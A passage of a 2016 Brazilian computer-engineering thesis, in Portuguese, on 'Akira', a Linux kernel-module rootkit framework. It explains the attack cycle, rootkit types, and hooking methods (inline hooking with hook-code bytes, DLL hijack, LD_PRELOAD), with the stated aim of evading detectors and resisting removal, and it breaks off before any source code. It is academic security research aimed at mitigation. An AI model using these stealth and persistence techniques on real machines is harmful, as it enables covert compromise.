• Nenhum resultado encontrado

Akira - one ring to rule them all : um framework para geração de camada de persistência furtiva

N/A
N/A
Protected

Academic year: 2021

Share "Akira - one ring to rule them all : um framework para geração de camada de persistência furtiva"

Copied!
54
0
0

Texto

(1)

Universidade de Brasília

Instituto de Ciências Exatas

Departamento de Ciência da Computação

Akira - One ring to rule them all: um Framework

para Geração de Camada de Persistência Furtiva

Isaac Orrico

Monografia apresentada como requisito parcial para conclusão do Curso de Engenharia da Computação

Orientador

Prof. João José Costa Gondim

Brasília

2016

(2)

Universidade de Brasília

Instituto de Ciências Exatas

Departamento de Ciência da Computação

Akira - One ring to rule them all: um Framework

para Geração de Camada de Persistência Furtiva

Isaac Orrico

Monografia apresentada como requisito parcial para conclusão do Curso de Engenharia da Computação

Prof. João José Costa Gondim (Orientador) CIC/UnB

Prof. Dr. Robson de Oliveira Albuquerque Dr. Dino Macedo do Amaral ENE/UnB Banco do Brasil

Prof. Dr. Ricardo Pezzuol Jacobi

Coordenador do Curso de Engenharia da Computação

(3)

Dedicatória

Eu dedico este trabalho ao acaso e ao vazio, os precursores de toda existência.

(4)

Agradecimentos

Agradeço aos meus grandes amigos Yago Sant’Anna e Professor Gondim por terem tido a paciência de resivarem todo o texto. Agradeço a phrack por iluminar o mundo através do compartilhamento aberto de conhecimento. E por último, mas não menos importante, agradeço a perseverança da minha querida mãe, Noêmia Maria Monteiro Orrico, uma mulher corajosa que criou cinco filhos sozinha.

(5)

Resumo

Este trabalho apresenta os conceitos e tecninalidades relacionados a um tipo específico de malware conhecidos como ameaças avançadas e persistente(rootkits). Sendo assim, foi proposto e implementando um framework com a finalidade de facilitar a criação e gerenci-manento do mesmo. Avaliar o seu comportamento e entender os métodos de ataque a fundo, possiblita a apresentação de novas propostas com o objetivo de mitigar o funciona-mento dos rootkits. Apesar de ser abordado uma grande variedade de técnicas, muitas ainda precisam ser investigadas e provas de conceito devem ser escritas com o intuito de descobrir o seu funcionamento em detalhes.

Palavras-chave: rootkit, segurança da informação, malware, ameaças avançadas e

(6)

Abstract

Recently a specific kind of malware known as stealthy rootkits, present in advanced per-sistent threats (APTs) has become more frequent and powerful. So, a framework was implemented to support their creation and management. Assessing their behavior and deep understanding of their attack methods will lead to new mitigation proposals. De-spite examining a variety of hooking techniques, and implementing one of them, several others remain to be investigated to their complete understanding.

(7)

Sumário

1 Introdução 1 1.1 Um visitante inesperado . . . 1 1.2 Motivação e Justificativa . . . 2 1.3 Objetivos . . . 2 1.3.1 Específicos . . . 2

1.4 Organização deste documento . . . 2

1.4.1 Capítulo 2 - Revisão Conceitual . . . 2

1.4.2 Capítulo 3 - Akira . . . 3 1.4.3 Capítulo 4 - Testes . . . 3 1.4.4 Capítulo 5 - Conclusão . . . 3 2 Revisão Conceitual 4 2.1 Rootkit . . . 4 2.2 O ciclo de ataque . . . 5 2.2.1 Recolher informações . . . 5 2.2.2 Identificar vulnerabilidades . . . 6

2.2.3 Determinar o plano de ação . . . 6

2.2.4 Escalar privilégios . . . 6 2.2.5 Persistir . . . 7 2.2.6 Um exemplo prático . . . 7 2.3 Categoria . . . 8 2.3.1 User mode . . . . 9 2.3.2 Kernel mode . . . . 9 2.3.3 Bootkits . . . . 10 2.3.4 Hypervisor level . . . . 10 2.3.5 Hardware/Firmware level . . . 10 2.4 Hooking . . . 10 2.4.1 Address hooking . . . . 11 2.4.2 Inline hooking . . . . 12

(8)

2.4.3 Write/Write back . . . . 15

2.4.4 DLL/Lib hijack . . . . 15

3 Akira 17 3.1 Drivers . . . . 17

3.2 Linux Loadable Kernel Modules . . . 17

3.2.1 Device drivers . . . . 18

3.2.2 Filesystem drivers . . . 18

3.2.3 System calls . . . . 18

3.2.4 Network drivers . . . . 19

3.2.5 Executable interpreters . . . . 19

3.3 Virtual File System . . . . 19

3.3.1 Directory Entry Cache (dcache) . . . . 19

3.3.2 Inode object . . . . 20 3.3.3 File object . . . . 20 3.3.4 Operações em arquivos . . . . 20 3.3.5 Proc Filesystem . . . . 21 3.4 Definição . . . 21 3.5 Requisitos . . . 21 3.5.1 Robustez . . . 21 3.5.2 Controle . . . 22 3.5.3 Furtividade . . . 22 3.5.4 Monitoramento . . . 22 3.5.5 Persistência . . . 22 3.6 Arquitetura . . . 23 3.6.1 hide module . . . . 23 3.6.2 hook entity . . . 24

3.6.3 hook routine entity . . . . 24

3.6.4 choose . . . . 25

3.6.5 get functions address . . . . 26

3.6.6 mount . . . . 27

3.6.7 write . . . . 28

3.6.8 hooked function . . . . 29

3.6.9 command and control . . . . 29

4 Testes 31 4.1 Testes de funcionalidade . . . 31

(9)

4.1.2 Esconder/mostrar um processo . . . 32

4.1.3 Esconder/mostrar um arquivo . . . 34

4.1.4 Esconder/mostrar portas de conexão . . . 36

4.1.5 Módulo escondido e protegido . . . 37

4.2 Testes de evasão . . . 38

4.2.1 rkhunter . . . . 38

4.2.2 chkrootkit . . . . 39

5 Conclusão 41

(10)

Lista de Figuras

2.1 O ciclo de ataque. . . 5

2.2 Ilustração do exemplo prático. . . 8

2.3 Anéis de proteção. . . 9

2.4 Ilustração do desvio de fluxo. . . 11

2.5 Antes e depois a inserção do hook code. . . . 13

2.6 Ilustração do uso de trampoline. . . . 14

2.7 Ordem de busca dos diretórios. . . 16

(11)

Lista de Tabelas

2.1 Tipos de rootkits . . . . 10

2.2 Valores dos endereços após o hook . . . 12

2.3 hook codes comumente usados . . . . 14

(12)

Capítulo 1

Introdução

O conhecimento oculto, proibido e místico sempre foi algo atrativo ao olhos do serers mais curiosos, naturalmente subversos e pouco compreendidos. Com o advento da ciência da computação essa comunidade conhecida como hackers iniciaram um novo ramo da gnose humana, levando a tecnologia a novos limites, subvertendo sistemas e demostrando com clareza a essência do pensamento fora da caixa.

"Eu sou apenas um ponto, pontual, abstrato, periódico, aleatório, a ser desvendado no infinito mar de possibilidades ."

1.1

Um visitante inesperado

Há alguns anos foi publicado uma história sobre um homem de meia idade, morador de um pequeno apartamento localizado em Fukuoka, Japão. Este senhor vivia sozinho e começou a dar por falta de comida na sua geladeira, logo para terminar com as suas supeitas teve a simples ideia de instalar câmeras na sua residência, transmitindo o vídeo através da internet para o seu celular. Um dia suas câmeras detectaram movimentações em seu apartamento, pensando que estava sendo roubado ligou imediatamente para a polícia. Quando os políciais chegaram no local ficaram surpresos por não encontrarem nenhuma porta ou janela arrombada, finalmente após entrarem no apartamento efetuaram uma pequena busca, encontraram uma senhora de 58 anos chamada Tatsuko Horikama escondida em um closet.

De acodo com o relatório da polícia ela era moradora de rua e estava vivendo no closet por volta de seis meses. A mulher explicou para a polícia que tinha entrado no aparta-mento quando viu o solteiro saindo. Ela verificou se a porta estava aberta, descobrindo o desleixo do morador, invadiu e passou a morar no pequeno armário. Além disso ainda havia a suspeita das autoridades japonesas que a mulher não morava no mesmo

(13)

aparta-mento o tempo todo, mas trocava de local para minimizar o risco de ser pega por algum morador genuíno.

Ela tomava banho, moveu um colchão para o closet onde dormia e guardava garrafas de água para eventuais necessidades. O porta-voz das autoridades descreveu a senhora como sendo arrumada e limpa. Em essência um rootkit(ameaça avançada persistente) é exatamente isso: um convidado indesejado, arrumado, limpo e difícil, as vezes impossível, de se livrar.[24]

1.2

Motivação e Justificativa

Em segurança da informação ameaças avançadas persistentes representam um papel vital no ciclo de ataque, possibiltando ao atacante total controle sobre o sistema em ques-tão, logo se faz necessário entender como esses programas funcionam e assim propor e implementar defesas eficases contra esse tipo particular de software.

1.3

Objetivos

Implementar um rootkit baseado em inline hooking que passe despercebido pelos detecto-res mais comuns.

1.3.1

Específicos

1. a implementação deve ser furtiva ao nível do sistema operacional hospedeiro; 2. a implementação terá persistência: uma vez instalado não pode ser removido; 3. a implementação proverá funcionalidades de gerenciamento;

1.4

Organização deste documento

1.4.1

Capítulo 2 - Revisão Conceitual

Neste capítulo são introduzidos e revisados os conceitos básicos para o entendimento do assunto: ameaças avançadas e persistentes (rootkits). Vale ressaltar a complexidade do assunto proposto e a amplitude de conhecimentos requeridos para o total entendimento do mesmo, logo cabe ao leitor assimilar os estudos das fontes externas (referências) do texto.

(14)

1.4.2

Capítulo 3 - Akira

Neste capítulo tem-se a descrição do projeto: requisitos, arquitetura, técnicas utilizadas e sua implementação (código fonte).

1.4.3

Capítulo 4 - Testes

Neste capítulo são apresentados os testes e resultados do projeto (akira).

1.4.4

Capítulo 5 - Conclusão

Neste capítulo são ponderados os resultados obtidos e uma projeção para trabalhos futu-ros.

(15)

Capítulo 2

Revisão Conceitual

Este capitulo aborda os conceitos de rootkits e hooking, servindo de base ao desenvolvi-mento deste trabalho.

2.1

Rootkit

Nos sistemas operacionais (SO) baseados em unix um usuário com o máximo de privilé-gios é chamado de root. Esse nome não é mandatório, porém, por questões históricas é comumente usado. Compromenter um computador e adquirir privilégios de administra-dor é referido como rooting ou own it. Quando é adquirido esse estatus você controla e domina plenamente o sistema em questão sendo o seu novo dono. No SO windows nt, obter uma conta com privilégios de SYSTEM é mais relevante do que uma conta de ad-ministrador, uma vez que SYSTEM está no nível lógico do SO. Sendo mais privilegiado e com menos restrições de acesso aos componentes críticos do sistema é visto como o santo graal, possibilitando furtividade e persistência ao atacante.

Contudo, violar uma máquina e manter o seu acesso são coisas distintas, como ganhar um milhão de reais e manter esse dinheiro. Existem diversas ferramentas disponíveis a um administrador do sistema (sysadmin) para detectar e expulsar invasores de uma máquina comprometida. Um atacante barulhento e descuidado atrairá atenção, levando a perda do seu precioso acesso. Devido a essa necessidade um novo tipo de programa malicioso surgiu, os obscuros e complexos malwares. Ser furtivo, persitente e monitorar atividades dos usuários legítimos do computador são seus principais requisitos, conceitos chave para manter o controle e acesso sobre o novo território conquistado. Expandir o seu domínio na rede ao qual a máquina está conectada é uma mera consequência do monitoramento.

Sendo assim, segue a definição: Um rootkit é um conjunto de binários, scripts, arquivos de configuração (isto é, kit), com a finalidade de prover ao atacante camadas de acesso, persitência e monitoramento do sistema comprometido. Em linhas gerais o atacante está

(16)

interessado em: inserir comandos, roubar dados sem ser detectado e penetrar cade vez mais na rede local e exerna.[5]

O rootkit pode ser classificado como um conjunto de softwares projetado com a fina-lidade de evadir técnicas forense, uma arma invisível e sutil.[18]

2.2

O ciclo de ataque

No ponto de vista do atacante, invadir um certo alvo requer seguir passos equivalentes a qualquer algoritmo matemático bem projetado. A criatividade e o pensamento fora da caixa são fatores determinantes nesse escopo, resultando em um ataque bem sucedido ou um fracasso memorável.[13] As etapas do clico de ataque são detalhados a seguir(modelo

simplificado):

Figura 2.1: O ciclo de ataque.

2.2.1

Recolher informações

Consiste em conhecer o seu alvo, pesquisar e levantar o máximo de informação sobre todos os componentes daquele sistema. Entender suas características e enumerar seus serviços são as fases iniciais e cruciais para identificar promissores vetores de ataque a serem testa-dos. Muitas ferramentas foram desenvolvidas para esse fim, como por exemplo, o famoso varredor de portas (port scan) conhecido como nmap[15]. Vale ressaltar a

(17)

proporcionali-dade da taxa de sucesso, quanto melhor o seu trabalho de inteligência maiores são as suas chances de efetuar um ataque efetivo.

2.2.2

Identificar vulnerabilidades

Através das informações obtidas são identificadas pontos fracos a serem explorados para adquirir o acesso. Isso implica, em alguns casos horas/meses de trabalho duro. A forma como essas vulnerabilidades são descobertas e exploradas fogem do escopo deste trabalho, sendo um assunto vasto da segurança da informação. Diversas pesquisas foram realizadas e publicadas envolvendo tanto escrita de exploits (software para explorar a falha), como mitigações para impedir o abuso de programas vulneráveis. [23][9]

O fator humano é levado em consideração, pois pessoas são suscetíveis a ataques de engenharia social. A engenharia social, no contexto de segurança da informação, refere-se a manipulação psicológica de pessoas para a execução de ações ou divulgar informações confidenciais. Este é um termo que descreve um tipo psicotécnico de intrusão que depende fortemente de interação humana e envolve enganar outras pessoas para quebrar procedi-mentos de segurança. Um ataque clássico na engenharia social é quando uma pessoa se passa por um alto nível profissional dentro das organizações e diz que o mesmo possui problemas urgentes de acesso ao sistema, conseguindo assim o acesso a locais restritos.[7]

2.2.3

Determinar o plano de ação

Após a identificação das vulnerabilidades é traçado um plano lógico e executável. Essa etapa é livre e depende apenas da criatividade e expertise do seu idealizador. Prepara-se todas as ferramentas necessárias e o ataque é efetuado.

2.2.4

Escalar privilégios

Uma vez dentro do sistema se faz necessário atingir certo níveis de acesso. Geralmente, o atacante toma posse de um conta limitada e pouco privilegiada e cabe ao mesmo encon-trar novas vulnerabilidades para atingir esse objetivo. O processo é ciclico levando-o de volta ao primeiro passo recolher informações, após efetuar um plano de ação é efetuada a exploração.

Dependendo do objetivo do atacante essa etapa pode ser desnecessária, por exemplo, a meta era apenas recolher um banco de dados, caso esse arquivo possa ser lido por um usuário pouco privilegiado sua meta foi cumprida. Entretando, a maioria dos atacantes sofisticados utilizam seus esforços para obter uma conta no nível de administrador (got

(18)

2.2.5

Persistir

Nesse momento a prioridade é instalar uma porta dos fundos (backdoor) possibilitando a volta do invasor de forma arbitrária. Nessa fase a ferramenta preferida para essa tarefa são os rootkits, provendo no caso não apenas persistência, mas diversas armas para subverter e expandir o seu controle sobre o sistema sequestrado.

2.2.6

Um exemplo prático

Um determinado atacante decide invadir um servidor de uma corporação, onde possivel-mente estão localizados os dados sensíveis sobre clientes de uma rede telefonica. Após horas rodando scanners de portas e enumerando todos os serviços do servidor alvo, o hacker malicioso(black hat) verifica e certifica que não existem vulnerabilidades públicas nestes serviços. Nesse momento ele tem duas opções, auditar esses serviços para encon-trar novas vulnerabilidades (0days, uma vulnerabilidade não publica e não corrigida) ou seguir outro caminho. Ele decide pela segunda opção e olha para um lista de funcionários (nomes, telefones, emails, etc.) capturados no próprio site da empresa obtidos na fase de recolhemento de informações. Idealiza seu plano de ação: prepara o exploit, software malicioso para atacar o navegador (browser) cria um email falso se passando por outro funcionário da chefia e manda o endereço de um site controlado por ele na mensagem ele-trônica. Cristiane (a funcionária) é o alvo, o fator humano. Quando ela vê o email tudo parece verdadeiro e ao clicar no link ela é redirecionada para uma página real, porém o dano já foi feito e o exploit explorou com sucesso o seu navegador instalando um pequeno

malware com diversas funcionalidades maliciosas em seu computador. Uma dessas

funci-onalidades é um keylogger - programa projetado para savar todas as teclas digitadas pela vítima. O atacante espera, paciente, monitorando todos os passos e lendo logs gerados pelo pelo seu precioso rootkit. Ao investigar o computador de Cristiane com mais detalhes através de um backdoor provido pelo seu malware, ele percebe o uso de um software pró-pio da empresa - usado para gerenciar clientes e funcionários. Rapidamente, o atacante baixa o programa. Após algumas horas de engenharia reversa ele encontra os dados de autenticação necessários para acessar o banco de dados no servidor alvo. O sentimento de satisfação chega ao seu cérebro, a adrenalina ao seu sangue, o sorriso malicioso ao seu rosto. Depois de escrever um script com os dados de acesso ao servidor, o executa em outra máquina comprometida pivô, ponte. Seu ataque foi um sucesso, objetivo cumprido, engenharia social perfeita. Mas, por quê parar agora? E começa a obter informações na nova máquina comprometida, escalar privilégio é a única opção lógica para ele.

(19)

Figura 2.2: Ilustração do exemplo prático.

2.3

Categoria

Existem cinco tipos de rootkits em circulação (alguns são apenas teóricos): 1. user mode

2. kernel mode 3. bootkits

4. hypervisor level

5. hardware/firmware level

Cada um destes atua em um determinada região da arquitetura computacional. Um sistema operacional provê abstração(processos, arquivos, etc.) e genereciamento dos re-cursos de hardware do computador - determinadas acões podem ser efetuadas apenas pelo

SO e existe uma camada de comunicação entre os dois.[22] Quando um usuário precisa

ler um arquivo do disco rígido( hd) uma requisição é feita por um processo ao SO, após executada a leitura dos dados pelo SO eles são transferidos para o processo. Em conjunto com o processador essa abstração é protegida segundo o conceito de anéis de proteção:

rings. Os valor dos rings variam de zero a três, mas geralmente apenas dois valores são

(20)

Anéis com valores negativos passaram a ser usados para indicar funcionalidades es-peciais do processador, devido também a popularização de máquinas virtuais - sistemas operacionais simulados em cima do SO vigente.

O hypervisor é uma plataforma que permite aplicar diversas técnicas de controle de virtualização para utilizar, ao mesmo tempo, diferentes SOs em conjunto de instruções especificas do processador, ring -2 : hypervisor.

Alguns rootkits podem fazer uso de combinações híbridas, por exemplo, modificando o comportamento a nível de usuário(ring 3) e ao mesmo tempo em nível de kernel(ring

0).

Figura 2.3: Anéis de proteção.

2.3.1

User mode

Opera em ring 3, modificando o comportamento de programas e bibliotecas acessíveis ao usuário. Alguns rootkits injetam código de máquina em bibliotecas ligadas dinamica-mente(dlls) as quais serão carregadas em outros processos; outros rootkits, tendo privi-légios suficientes, simplesmente substituem a memória virtual do aplicativo alvo. A sua maior vantagem é a facilidade de serem implementandos, porém são facilmente detectá-veis. Sua remoção pode ser custosa.

2.3.2

Kernel mode

Atua em ring 0 geralmente se passando por um driver, modificando o comportamento das funcionalidades e interfaces de comunicação do kernel, sendo difíceis de detectar e remover

(21)

- devido ao controle sobre as operações básicas do SO. O projeto de rootkit proposto para este trabalho atua nesse contexto, tendo como foco o kernel do sistema operacional linux.

2.3.3

Bootkits

Uma variante dos rootkits em kernel mode projetados para sobreescrever o master boot

re-cord(MBR), ou volume boot record (VBR) ou setor de inicialização. O código do malware

será inicializado antes mesmo do SO, seu maior objetivo ao efetuar essa complexa ta-fera é prover persistência e furtividade. São difíceis de serem implementados, devido ao conhecimento em baixo nível necessário para completar a rotina descrita.

2.3.4

Hypervisor level

Atua na camadada do hypervisor. O rootkit altera o comportamento do SO fazendo-o pensar ser um guest - máquina virtual - rodando em cima do hypervisor.

2.3.5

Hardware/Firmware level

Tenta alterar o comportamento do hardware como, por exemplo, o hd, explorando seus

firmwares - conjunto de instruções operacionais programadas diretamente no hardware

de um equipamento eletrônico - modificar esses pequenos programas provê ao rootkit persistência e furtividade, porém essa solução não é genérica, pois depende do fabricante de cada equipamento.

Tabela 2.1: Tipos de rootkits

Tipo ring user mode 3 kernel mode 0 bootkis 0 hypervisor level -2 firmware level

2.4

Hooking

Em programação de computadores, o termo hook cobre uma variedade de técnicas uti-lizadas para alterar o comportamento do SO, de aplicativos ou outros componentes do software, interceptando chamadas de função ou mensagens ou eventos passados

(22)

en-tre seus componentes. O código responsável por essa funcionalidade é chamado de ”gancho”(hook).[21][4][17]

Figura 2.4: Ilustração do desvio de fluxo.

Hooking é utilizado para diversos propósitos, incluindo depuração e extensão de

funcio-nalidades. Diversas técnicas foram desenvolvidas para alcançar esse objetivo. As técnicas mais comuns são:

1. Address hooking 2. Inline hooking 3. Write/Write back 4. Dll/Lib Hijack

Estas técnicas serão descritas a seguir.

2.4.1

Address hooking

A técnica mais simples e genérica do nosso repertório, consiste em alterar o endereço da função diretamente. Por exemplo, seja:

& = endereço (2.1)

&(f unction_A) = 0x40000 (2.2) &(f unction_B) = 0x80000 (2.3)

(23)

O objetivo é substituir o endereço da function_A, pelo endereço da function_B, porém necessitados salvar o endereço da function_A original, para chama-la da function_B caso seja preciso. Sendo assim, a operação do hook seria:

&(f unction_C) <= &(f unction_A) (2.4) &(f unction_A) <= &(f unction_B) (2.5)

Tabela 2.2: Valores dos endereços após o hook

função endereço

function_A 0x80000

function_B 0x80000

function_C 0x40000

Logo, a function_A aponta para a function_B e quando for chamada a função inter-ceptadora(function_B) será acionada.

2.4.2

Inline hooking

Consiste em alterar diretamente o código da função, está técnica depende da arquitetura do processador e seu conjunto de instruções(ISA, instruction set architecture), os conceitos relacionados a arquitetura de computadores são pré-requisito para o entedimento deste método[16][4].

O código a ser inserido na função original deve desviar o fluxo original de execução com o intuito de saltar para a função pertencente ao rootkit, esse seguimento de código é defi-nido como hook code. Veja o exemplo a seguir para um melhor entendimento(arquitetura

(24)

Figura 2.5: Antes e depois a inserção do hook code.

Neste caso (Figura 2.5) foi usada a instruçao jmp - as instruções jmp são usadas para indicar ao processador(intel) que a próxima instrução a ser executada não é a que está imediatamente a seguir, mas sim outra. Existem saltos(jumps) condicionais que ocorrem se uma determinada condição se verificar e jumps incondicionais. Sendo assim, quando a function_A for chamada a primeira instrução a ser executada será o jmp function_B incondicional, tendo por consequência, o salto direto ao código da function_B.

O leitor astuto deve ter percebido que não será possível chamar a função verdadeira

(function_A) da função interceptadora (function_B), pois ao chama-la a função

verda-deira ira automaticamente pular para o código da function_B entrando em um laço(loop) infinito. Logo, uma função auxiliar (function_trampoline) deve ser utilizada. Seu propó-sito é guardar as instruções soobrescritas(ou instruções roubadas) e executa-las antes da chamada da funcion_A, porém o hook code não deve ser acionado novamente, ele deve ser pulado. O cálculo do número de bytes(offset) a serem pulados será feito com base no tamanho do código de hook.

(25)

Figura 2.6: Ilustração do uso de trampoline.

O código de hook depende apenas da criatividade do programador. A tabela a seguir lista os hook codes mais comuns.

Tabela 2.3: hook codes comumente usados

arquitetura assembly instructions hexdecimal(bytes)

intel x86 push $addr, ret \x68\x00\x00\x00\x00 \xc3

intel x86 jmp $addr \xe9\x00\x00\x00\x00

intel x64 mov rax, $addr; jmp rax \x48\xb8\x00\x00\x00 \x00\x00\x00\x00\x00 \xff\xe0

arm ldr pc, [pc, #0]; .long addr; .long addr

\x00\xf0\x9f\xe5\x00 \x00\x00\x00\x00\x00 \x00\x00

Essa metodologia será a usada no desenvolvimento do framework a que se dedica este trabalho(Akira), com o intuito de efetuar o hook nas funções do kernel. Logo, um motor

(26)

(IHE, Inline Hooking Engine) foi implementado para facilitar o gerenciamento do esquema

descrito, tendo como parâmetros de entrada os ponteiros das funções relacionadas.

2.4.3

Write/Write back

Parte do mesmo princípio do método Inline hooking, alterar o código da função, porém não usa funções auxiliares trampolines para efetuar a chamada da função original[6] . O código de hook é escrito(write) e as instruções roubadas são salvas em um estruturas de dados, sendo escritas novamente na função verdadeira quando for preciso chama-la, após e execução da mesma o hook code é escrito de volta(write back), provendo desta forma persistência ao hook.

2.4.4

DLL/Lib hijack

No SO windows Dynamic-Link Libraries(DLL) são coleções de dados e código executável usados por aplicações e outros arquivos DLL[19]. Bibliotecas dinâmicas são usadas pelas seguintes razões: facilidade de atualizar o software, requerendo que o usuário baixe apenas alguns pequenos arquivos em vez de todo o executável, e reduzir a quantidade de memória primária(RAM ) utilizada, pois o arquivo de DLL será compartilhando entre as aplicações. No SO linux os equivalentes a DLLs são as Libs, .so(shared objects).

Programadores geralmente não especificam o caminho absoluto(absolute path) da DLL desejada, acarretando o problema da ausência da DLL no espaço de memória do processo, entretanto, a Microsoft resolveu automatizar o processo de busca através de um algoritmo chamado (Dynamic-Link Library Search Order)[20], o qual procura a DLL em diretórios especificos numa determinda ordem. Esta implementação é executada no momento em que a aplicação é carregada na RAM. Por padrão o primeito item achado será usado. A ordem de busca é dada por:

(27)

Figura 2.7: Ordem de busca dos diretórios.

Apesar de resolver o problema essa solução abre uma lacuna, pois caso uma DLL cuidadosamente modificada seja colocada em um diretório superior na busca ela será encontrada primeiro e, portanto, carrega no espaço de memória do processo. Os procedi-mentos da DLL maliciosa serão executados quando a aplicação fizer chamadas as funções da mesma.

No linux a biblioteca(ld.so/ld-linux.so) responsável pelo linker e loader do programa, provê uma variável de ambiente chamada LD_PRELOAD. Uma variável de ambiente é uma variável de um sistema operacional que geralmente contém informações sobre o sistema, caminhos de diretórios específicos no sistema de arquivos e as preferências do utilizador. Ela pode afetar a forma como um processo se comporta, e cada processo pode ler e escrever variáveis de ambiente.[2]

Segundo o manual[2] da ld.so a LD_PRELOAD é definida por: ”Uma lista adicional de objetos compartilhados(shared objects) que serão carregados antes de qualquer outra biblioteca. Isto pode ser usadado para sobreescrever funções de outros shared objects.”

Atribuindo o valor LD_PRELOAD com o absolute path da biblioteca modificada será suficiente para efetuar o hook nas funções desejadas[10]. O leitor astuto deve ter notado e visualizado a gama de possibilidades abertas por essa técnica, inserir código executável em um processo em tempo de execução abre diversas portas no quesito exploração de

(28)

Capítulo 3

Akira

A definição formal do projeto(Akira) depende do entendimento dos conceitos de drivers e

Linux Loadable Kernel Modules que aqui são apresentados no caso do SO Linux, segundo

as necessidades da implementação.

3.1

Drivers

Um software com o propósito de operar ou controlar um tipo particular de dispositivo que está ligado ao computador[25]. O driver provê uma interface de software para os dispositivos de hardware, permitindo aos sistemas operacionais e outros programas acesso aos recursos fornecidos pelo hardware sem precisar conhecer os detalhes sobre o dispositivo eletrônico[14].

O driver se comunica com o dispositivo atráves do bus[25], ou subsistemas de comu-nicação. Quando um programa invoca uma rotina no driver, ele passa comandos para o

hardware. Uma vez que o dispositivo emite uma reposta e manda dados de volta para o driver, ele pode invocar procedimentos no programa ao qual foi feita a chamada. Suas

caraterísticas principais são: depende da especificação do hardware e do sistema operaci-onal.

3.2

Linux Loadable Kernel Modules

Para adicionar de forma arbitrária código ao kernel bastaria adicionar arquivos de código fonte na árvore de arquivos do mesmo e recompilâ-lo. De fato, a configuração do kernel consiste em escolher quais arquivos devem ser incluidos quando ele for compilado. Porém, é possível adicionar código no kernel enquanto este está rodando(in runtime). Uma porção de código adicionado desta forma é chamada de loadable kernel module, LKM [1].

(29)

Apesar de serem módulos externos ao kernel quando um LKM é carregado para a memória ele, a partir daquele momento, faz parte do kernel. Kernel base é o termo usado para especificar a parcela do kernel livre de qualquer módulo externo[3].

Os LKMs são usados para extender as funcionalidades do sistema de diversas formas, as mais comuns são:

1. Device drivers 2. Filesystem drivers 3. System calls 4. Network drivers

5. Executable interpreters sendo descritos a seguir.

3.2.1

Device drivers

Como explicado anteriormente, para usar qualquer dispositivo o kernel deve ter um driver associado.

3.2.2

Filesystem drivers

Interpreta o conteúdo do sistema de arquivos(filesystem)(ref), tipicamente, são os dados contidos no disco rígido representados como arquivos e diretórios, lembrando estes itens são abstrações próvidas pelo SO ao qual representam os dados reais no hd.

Existem diversas formas de guardar arquivos e diretórios no disco, logo diversos tipos de filesystem foram criados, tais como: ext2, ext3, fat, ntfs e etc.(ref). Cada tipo tem suas próprias características e peculiaridades sendo preciso do filesystem driver para realizar operações sobre os arquivos no disco.

3.2.3

System calls

Programas em user mode usam chamadas de sistema(syscalls) para requisitar serviços do

kernel. Por exemplo, existem syscalls para ler/escrever ou criar arquivos, criar processos,

e desligar o sistema. A maioria das chamadas de sistema são embarcadas no SO e seguem um padrão rígido. Contudo, é possível criar novas syscalls e instalâ-las como um LKM ou sobreescrevê-las.

(30)

3.2.4

Network drivers

Interpreta um protocolo de rede(network protocol), alimentando e consumindo fluxo de da-dos em várias camadas do gerenciamento de redes fornecida-dos pelo kernel[1]. Por exemplo, o funcinamento do IPX link(ref) requer o driver de rede específico.

3.2.5

Executable interpreters

Linux foi projetado sendo capaz de rodar executáveis em diversos formatos. Cada um

desses formatos deve ter o seu interpretador, sendo que o mesmo pode ser implementando como um LKM [1].

3.3

Virtual File System

O sistema virtual de arquivos(Virtual File System/VSF), também conhecido como sele-cionador de sistemas de arquivos (Virtual Filesystem Switch), é a camada de software no kernel que provê a interface de comunicação entre programas no espaço de usuário e o sistema de arquivos(filesystem). Fornecendo uma abstração dentro do kernel ao qual permite a coexistência de diversas implementações diferentes de filesystems.

VFS implementa as syscalls: open, stat, read, write, chmod, etc, essas chamadas são

efetuadas no contexto do processo.[11]

3.3.1

Directory Entry Cache (dcache)

Pode ser visto como uma estrutura(dentry) do kernel, ao qual representa a entrada de um diretório na memória principal. Através da passagem do argumento - nome do cami-nho(pathname) - para as syscalls referentes ao VSF uma busca é efetuada no directory

entry cache(dcache). Isto provê um mecanismo otimizado para traduzir o pathname em

uma dentry específica. Dentries vivem exclusivamente na RAM existindo apenas por questões de performance.

O dentry cache foi projetada para representar todo o espaço de arquivos. Como a maioria dos computadores não pode ajustar ao mesmo tempo todas as dentries na RAM, alguns pedaços da cache são perdidas.

Com o objetivo de resolver o pathname em um dentry, o VFS pode ter que recorrer à criação de inúmeras dentries ao logo do caminho(path), e, em seguida, carregar o inode na memória principal.

(31)

3.3.2

Inode object

Um dentry geralmente contém um ponteiro para uma estrutura inode. Inodes são objetos de filesystem como, por exemplo, arquivos regulares, diretorios e outros[11]. Eles vivem no disco (como blocos de dispositivos de filesystem) ou na memória primária(pesudo

filesystem). Os inodes resilientes do disco, são copiados para a memória quando requerido

e suas mudanças são gravadas no disco. Um simples inode pode ser apontando a multiplas

dentries.

Para pesquisar um inode, o VSF necessita chamar o método lookup() do diretório

inode pai ou diretório acima. Este método é especifico da implementação do filesystem

onde esse inode se econtra. Uma vez que o VSF obtém a dentry requerida(e, portanto, o

inode) as operações relacionadas a arquivos podem ser aplicadas.

3.3.3

File object

Abrir um arquivo requer outra operação: a atribuição de um estrutura chamada file

struct. Sendo esta a implementação interna do kernel de um descritor de arquivos(file descriptor). A nova estrutura alocada é inicializada com um ponteiro para a dentry e um ponteiro para o conjunto de funções relacionadas a operação de arquivos(struct

file_operations), encontradas através dos dados do inode. O método open() é chamado

para que a implementação específica do filesystem possa fazer o seu trabalho. O VSF é reponsável dessa forma por outra seleção.

A file struct é colocada na tabela de descritores de arquivos (file descriptor table) e será utilizada pelo processo.

Ler, escrever e fechar arquivos(e qualquer outra operação relacionada ao VSF ) é feita usando o file descriptor, definido no userspace, como um indice para acessar a estrutura de arquivos na tabela, e em seguida, chamar o método da estrutura de arquivos necessária para efetuar a ação pedida.

3.3.4

Operações em arquivos

As operações referentes aos arquivos são descritas na estrura struct file_operations(ref). struct file_operations {

...

loff_t (*llseek) (struct file *, loff_t, int);

ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);

ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *); int (*readdir) (struct file *, void *, filldir_t);

(32)

... };

Alguns funções foram omitidas por fugirem do escopo deste trabalho.

3.3.5

Proc Filesystem

O sistema de arquivos proc age como uma interface para as estruturas de dados internas do kernel. Ele pode ser usado para obter infomações sobre o sistema e modificar certos parâmetros do kernel.

Como ele é um VFS utiliza da mesma abstração e operações descritas para implemen-tar suas funcionalidades.

3.4

Definição

Akira é um rootkit(lkm based) multiplataforma que faz uso de um motor(Inline hooking engine) desenvolvido para facilitar o hook de qualquer função do kernel acessível ao

